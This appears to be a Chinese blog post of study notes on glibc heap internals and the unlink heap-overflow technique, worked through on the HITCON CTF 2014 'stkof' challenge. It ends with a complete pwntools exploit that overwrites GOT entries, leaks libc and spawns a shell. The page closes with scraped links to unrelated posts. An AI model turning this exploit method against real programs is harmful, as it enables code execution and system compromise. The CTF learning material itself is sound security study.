最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记;作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正。

  本文用到的例子下载链接https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof

  首先总结一下linux下堆的分配管理。堆的基本结构见上一篇文章,这里不再赘述。

一个更详细总结的传送门

glibc内存管理ptmalloc源码分析

1.堆区是在进程加载时的一片区域,mmap方式分配的堆结构体中的fd,bk指针指向的区域并不是随机分配的,而是由fd,bk等指针连接的相邻的、连续的内存区

2.为了支持多线程,堆的分配有arena机制(详见https://ctf-wiki.github.io/ctf-wiki/pwn/heap/heap_structure/#arena),简单来说该机制就是在第一次申请内存时分配的一个比申请内存大很多的一片内存区域,目的是减少内存申请释放时unlink的次数。

3.用户释放的chunk不会马上返还给系统,glibc的bin会管理释放的chunk,包含四类fast bins,small bins,large bins,unsorted bin。每一类的设计都包含优化减少unlink次数的思想,比如fast bin管理策略是LIFO,堆块默认最大64 * SIZE_SZ / 4,释放时如果bin大小在fast bin范围内,则插入到fastbin头部(目的是减少堆块合并、分割的操作,试想如果直接释放较小堆块,如果释放的较小堆块与之物理相邻堆块是空闲堆块,则会发生合并;当再次申请释放堆块大小的堆时,则又需要重新分割较小的堆块)(释放时进行前向合并时会先检查释放堆大小是否是fastbin大小,如果是直接链入fastbin头部;非fastbin大小的堆在释放时前向合并,如果物理相邻高地址堆为top_chunk则合并到top_chunk)size_sz是机器字长

4.unlink宏源代码https://code.woboq.org/userspace/glibc/malloc/malloc.c.html1388行。free的过程涉及到新的chunk由allocated变为free,为了优化要进行合并操作,包括后向合并(合并低地址chunk)和前向合并(合并高地址chunk),unlink的过程是一个从双向链表删除节点的操作。

5.glibc中free过程的大致操作:

  1>.释放堆块大小合法性检查(size>=min_size&&size<=max_size)

  2>.当前堆的follow chunk合法且前向堆(next chunk)的pre_inuse flag=1(next_chunk->size&0x1==1)

  3>.当前堆不能和freelist的头节点一致(double free),但是释放时仅检查freelist头节点并不遍历freelist,所以如果释放的chunk在freelist里(非头节点)还是会导致double free

  4>.检查后向堆(低地址chunk)和前向堆(高地址chunk)是否空闲

  5>.如果空闲则合并堆

  6>.将释放的堆链入合适的freelist

  下面分析一下这个有堆溢出的程序。

  这个程序实现了一个堆内存分配释放的功能,并且分配的堆可以编辑内容,分配的堆块指针记录在一个全局静态存储区.bss。但由于编辑的时候没有检查编辑内容的长度,导致溢出。

  

  下面以这个程序为例分析一下堆溢出unlink是如何导致任意内存写的,并分析一下如何利用。

  使用IDA查看发现存储堆指针的内存区起始于0x602140,不妨把这个内存起始地址叫做chunk_list

  如果我们alloc(0x30),alloc(0x30)两个堆,这个程序会把分配的地址写到chunk_list[1](即0X602148,chunk1)和chunk_list[2]的位置。由于编辑的时候没有检查长度,所以我们可以在chunk1写入大于chunk1分配大小的内容,由于chunk1和chunk2物理相邻(没有调用brk手动扩展堆),所以chunk1溢出的内容会覆盖到chunk2。所以我们精心设计一个chunk1的内容,使他的内存布局如下

  

  即在chunk1中填充一个fake_chunk,使libc认为chunk2的prev_free_chunk是chunk1。fake_fd和fake_bk这么填充的原因是绕过双向链表的检测

if (__builtin_expect (FD->bk != P || BK->fd != P, ))                      \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD;

  unlink时首先检测双向链表完整性

FD=chunk1_ptr-3*size_sz  =>  FD->bk=(chunk1_ptr-3*size_sz)+3*size_sz=chunk1_ptr

BK=chunk1_ptr-2*size_sz  =>  BK->fd=(chunk1_ptr-2*size_sz)+2*size_sz=chunk1_ptr

即这样可以绕过上述双向链表的检测。

  unlink删除双向链表节点过程中的原子操作

FD->bk=BK  =>  chunk1_ptr=chunk1_ptr-2*size_sz  <=FD->bk=chunk1_ptr

BK->fd=FD  =>  chunk1_ptr=chunk1_ptr-3*size_sz  <=BK->fd=chunk1_ptr

即chunk1_ptr最终被赋值chunk1_ptr-3*size_sz,所以此时保存chunk1指针的chunk_list[1]就会指向chunk1_ptr-3*size_sz。因为这个地址在bss段,这样我们就得到了一个可读可写段的可控地址^.^

这里可以达成一次任意地址写的本质是我们得到了

&(&chunk0_ptr)=&(&chunk0_ptr)-*size_sz

则有

*(&(&chunk0_ptr))=*(&(&chunk0_ptr)-*size_sz)

即两个指针指向的内容是一致的,而此时&chunk0_ptr我们是可以修改为任意值,以此达成一次任意地址写

此时,chunk_list[1][3*size_sz]就是chunk_list[1]指向的地址处偏移3*size_sz的内容,所以我们可以编辑chunk1的内容为padding(3*size_sz)+p64(free@got),即可通过读chunk_list地址处内容得到free@got,进而得到libc基址,进而计算得到system@got

另外一种利用思路是把rsp指向chunk_list,然后通过构造ROP获取shell(https://raw.githubusercontent.com/acama/ctf/master/hitcon2014/stkof/x.py

unlink可以导致任意代码执行的原因是我们可以覆盖free@got为system@got,然后调用free即可执行system@got的内容

EXP如下,另一个堆溢出例子传送门

from pwn import *

context.log_level='DEBUG'

p=process('./patched-stkof')
elf=ELF('./patched-stkof')
libc=ELF('./libc.so.6')

def debug():
print p.pid
pause()

def new(sz):
p.sendline('1')
p.sendline(str(sz))
p.recvuntil('OK\n')

def edit(idx,con):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(con)))
p.send(con)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))

new(0x100) #1
new(0x30) #2
new(0x80) #3
new(0x80) #4

cklist=0x602140
cur_chk=cklist+0x10
size_sz=8
fake_chunk=p64(0)+p64(0x30)+p64(cur_chk-3*size_sz)+p64(cur_chk-2*size_sz)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,fake_chunk)
#debug()
free(3)
p.recvuntil('OK\n')
#debug()
payload='a'*8+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(elf.got['puts'])
edit(2,payload)
#debug()
#modify free@got to puts@got to leak
edit(0,p64(elf.plt['puts']))
#debug()

free(2)
puts=u64(p.recvuntil('\nOK',drop=True).ljust(8,'\x00'))
success("puts: "+hex(puts))
libc_base=puts-libc.sym['puts']
success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
success("system: "+hex(system))
success("binsh: "+hex(binsh))
#debug()
edit(1,p64(system))
p.send(p64(binsh))

p.interactive()

linux下堆溢出unlink的一个简单例子及利用的更多相关文章

  1. Linux下select的用法--实现一个简单的回射服务器程序

    1.先看man手册 SYNOPSIS       /* According to POSIX.1-2001 */       #include <sys/select.h>       / ...

  2. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  3. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...

  4. 在Linux下如何使用GCC编译程序、简单生成 静态库及动态库

      最近在编写的一个Apache  kafka 的C/C++客户端,,在看他写的 example中,他的编译是用librdkafka++.a和librdkafka.a    静态库编译的,,,而我们这 ...

  5. Linux内核中的信号机制--一个简单的例子【转】

    本文转载自:http://blog.csdn.net/ce123_zhouwei/article/details/8562958 Linux内核中的信号机制--一个简单的例子 Author:ce123 ...

  6. Mac、Linux下两个Emacs共享一个配置文件

    Mac.Linux下两个Emacs共享一个配置文件 有些嵌入式的实验需要在Linux进行,就安装了RHEL6.4的虚拟机,下载并编译了Emacs. 在Linux的.emacs文件中加入以下语句,即可引 ...

  7. 一个简单例子:贫血模型or领域模型

    转:一个简单例子:贫血模型or领域模型 贫血模型 我们首先用贫血模型来实现.所谓贫血模型就是模型对象之间存在完整的关联(可能存在多余的关联),但是对象除了get和set方外外几乎就没有其它的方法,整个 ...

  8. (转)Java中使用正则表达式的一个简单例子及常用正则分享

    转自:http://www.jb51.net/article/67724.htm 这篇文章主要介绍了Java中使用正则表达式的一个简单例子及常用正则分享,本文用一个验证Email的例子讲解JAVA中如 ...

  9. C语言多线程的一个简单例子

    多线程的一个简单例子: #include <stdio.h> #include <stdlib.h> #include <string.h> #include &l ...

随机推荐

  1. HttpServletRequest get

    假设客户端请求的地址:http://localhost:8082/TestReq/MyServlet/username=李雷&age=20 request.getRequestURL http ...

  2. 随心测试_软测基础_002_<测试工程师_核心技能体系>

    测试工程师核心技能体系构成 测试基础体系:[对象——>方法——>流程].[测试活动类型——>质量] 测试分析体系:[测试对象分析]——>[测试设计(计划.数据.用例.文档)] ...

  3. IPv6绝不仅仅是对IPv4地址长度的增加

    众所周知,IPv6 IP地址长度是IPv4 IP地址长度的四倍,是解决IPv4公共网址资源枯竭的最佳技术.的确,IETF在制定IPv6标准时也是基于这一因素考虑的.当时正是90年代初,Web开始出现, ...

  4. Zookeeper 客户端命令

  5. Windows 2016 忘记密码的处理方法

    发现使用 osk 还有 magnify 的方式修改 密码的方式在win server 的机器上面行不通了. 换一种方式进行处理. 使用PE 方式处理. 1. 下载PE 发现比较早的PE 也搞不定 可能 ...

  6. MT【317】两次判别式

    已知$a^2+b^2+c^2-ab-bc=1$求$c$的最大值______ 注意到$2c^2-3(a^2+b^2+c^2-ab-bc)=-(c-\dfrac{3}{2}b)^2-3(a-\dfrac{ ...

  7. <Android基础>(四) Fragment Part 1

    Fragment 1)Fragment的简单用法 2)动态添加Fragment 3)在Fragment中模拟返回栈 4)Fragment和活动之间通信 第四章 Fragment Fragment是一种 ...

  8. 2018ICPC青岛现场赛 重现训练

    先贴代码,以及简要题解. 和一个队友下午双排打了一下,队友光速签到,我签的J被嫌弃写得慢以及演员...然后我秒出了E了思路然而难以置信这么简单的思路当时才过了十几个,于是发现D.F不是太好做.最后交了 ...

  9. IDEA或Webstorm设置Terminal终端字体大小

    File---Settings

  10. 通过crontab调度java -jar任务提示"nohup: failed to run command `java': No such file or directory"

    通过crontab无法运行,提示如标题的信息: 但直接在终端控制台执行sh和java -jar都可以: 网上给的提示解决方法,在.sh文件开始上面加上 source /etc/profile 然后cr ...